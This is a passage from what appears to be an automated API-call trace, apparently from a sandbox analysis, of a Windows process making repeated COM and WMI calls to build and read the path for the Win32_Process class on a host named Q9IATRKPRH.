(bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0090.866] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0090.866] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0090.866] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0090.867] IUnknown:Release (This=0x111f638) returned 0x1 [0090.869] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bece880) returned 0x0 [0090.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece880, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0090.870] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece880, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119b7e0) returned 0x0 [0090.870] WbemDefPath:IUnknown:Release (This=0x1bece880) returned 0x0 [0090.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119b7e0) returned 0x0 [0090.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0090.870] WbemDefPath:IUnknown:AddRef (This=0x119b7e0) returned 0x3 [0090.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0090.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0090.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bece8a0) returned 0x0 [0090.871] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece8a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.871] WbemDefPath:IUnknown:Release (This=0x1bece8a0) returned 0x3 [0090.871] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0090.871] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0090.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0090.871] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x2 [0090.871] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x1 [0090.871] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0090.871] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0090.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119b7e0) returned 0x0 [0090.871] WbemDefPath:IUnknown:AddRef (This=0x119b7e0) returned 0x3 [0090.871] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x2 [0090.871] WbemDefPath:IWbemPath:SetText (This=0x119b7e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0090.872] IWbemClassObject:Get (in: This=0x11fca90, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0090.872] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0090.872] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0090.872] IWbemClassObject:Get (in: This=0x11fca90, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0090.872] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0090.872] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0090.873] IWbemClassObject:Get (in: This=0x11fca90, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0090.873] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0090.873] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0090.873] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.873] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.873] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.873] IUnknown:Release (This=0x111f638) returned 0x1 [0090.876] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa8bb0) returned 0x0 [0090.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8bb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.876] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8bb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b720) returned 0x0 [0090.876] WbemDefPath:IUnknown:Release (This=0x1bfa8bb0) returned 0x0 [0090.876] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b720) returned 0x0 [0090.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.877] WbemDefPath:IUnknown:AddRef (This=0x119b720) returned 0x3 [0090.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8d30) returned 0x0 [0090.877] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.877] WbemDefPath:IUnknown:Release (This=0x1bfa8d30) returned 0x3 [0090.877] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.877] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.877] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.877] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x2 [0090.877] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x1 [0090.878] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.878] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.878] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b720) returned 0x0 [0090.878] WbemDefPath:IUnknown:AddRef (This=0x119b720) returned 0x3 [0090.878] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x2 [0090.878] WbemDefPath:IWbemPath:SetText (This=0x119b720, uMode=0x4, pszPath="") returned 0x0 [0090.878] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.878] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.878] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.878] IUnknown:Release (This=0x111f638) returned 0x1 [0090.880] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa8bb0) returned 0x0 [0090.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8bb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.880] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8bb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119a9a0) returned 0x0 [0090.880] WbemDefPath:IUnknown:Release (This=0x1bfa8bb0) returned 0x0 [0090.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119a9a0) returned 0x0 [0090.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.881] WbemDefPath:IUnknown:AddRef (This=0x119a9a0) returned 0x3 [0090.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8cb0) returned 0x0 [0090.881] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8cb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.881] WbemDefPath:IUnknown:Release (This=0x1bfa8cb0) returned 0x3 [0090.881] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.881] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.881] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x2 [0090.882] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x1 [0090.882] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.882] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.882] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a9a0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119a9a0) returned 0x0 [0090.882] WbemDefPath:IUnknown:AddRef (This=0x119a9a0) returned 0x3 [0090.882] WbemDefPath:IUnknown:Release (This=0x119a9a0) returned 0x2 [0090.882] WbemDefPath:IWbemPath:SetText (This=0x119a9a0, uMode=0x4, pszPath="") returned 0x0 [0090.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b720, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.882] WbemDefPath:IWbemPath:GetClassName (in: This=0x119a9a0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0090.882] WbemDefPath:IWbemPath:GetServer (in: This=0x119a9a0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0090.882] WbemDefPath:IWbemPath:SetServer (This=0x119a9a0, Name="Q9IATRKPRH") returned 0x0 [0090.882] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.882] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.882] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.882] IUnknown:Release (This=0x111f638) returned 0x1 [0090.884] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa8cd0) returned 0x0 [0090.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8cd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.885] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8cd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b4e0) returned 0x0 [0090.885] WbemDefPath:IUnknown:Release (This=0x1bfa8cd0) returned 0x0 [0090.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b4e0) returned 0x0 [0090.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.885] WbemDefPath:IUnknown:AddRef (This=0x119b4e0) returned 0x3 [0090.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa8c10) returned 0x0 [0090.885] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8c10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.885] WbemDefPath:IUnknown:Release (This=0x1bfa8c10) returned 0x3 [0090.885] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.886] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b4e0, 